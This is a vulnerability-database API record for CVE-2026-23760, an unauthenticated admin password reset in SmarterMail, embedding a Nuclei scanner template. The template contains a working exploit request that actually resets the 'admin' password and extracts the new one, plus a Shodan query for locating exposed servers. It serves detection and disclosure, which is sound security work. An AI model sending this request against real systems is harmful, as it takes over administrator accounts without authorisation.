{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-23760/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-23760/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-23760/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-23760/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-23760/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-23760"},"sightings":{"href":"/api/v1/sightings/cve-2026-23760"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-23760.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-23760\n\ninfo:\n  name: SmarterTools SmarterMail - Admin Password Reset\n  author: watchTowr,DhiyaneshDk\n  severity: critical\n  description: |\n    Detected a SmartMail admin password reset vulnerability by sending a POST request to the `/api/v1/auth/force-reset-password` endpoint, indicating that administrative password resets could potentially be triggered without proper authorization.\n  impact: |\n    Unauthenticated attackers can reset administrator passwords, leading to full administrative compromise of the system.\n  remediation: |\n    Upgrade to build 9511 or later.\n  reference:\n    - https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"SmarterMail\"\n  tags: cve,cve2026,intrusive,smartmail,admin,auth-bypass,vkev,kev,vuln\n\nvariables:\n  password: \"{{rand_text_alphanumeric(12)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/auth/force-reset-password HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"IsSysAdmin\":\"true\",\n        \"OldPassword\":\"watever\",\n        \"Username\":\"admin\",\n        \"NewPassword\":\"{{password}}\",\n        \"ConfirmPassword\": \"{{password}}\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n          - 'debugInfo'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"New Password: \" + password'\n# digest: 4b0a004830460221008ca8dc2972b90c7a0a4e70637d962755ce5c8c96aa9cc6b8d3479f2dfa17499b022100aa2bf5a5357ff83f5e4df8bd47d8f410a9cd51a66269c4920b25dbcc56199228:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-23760"}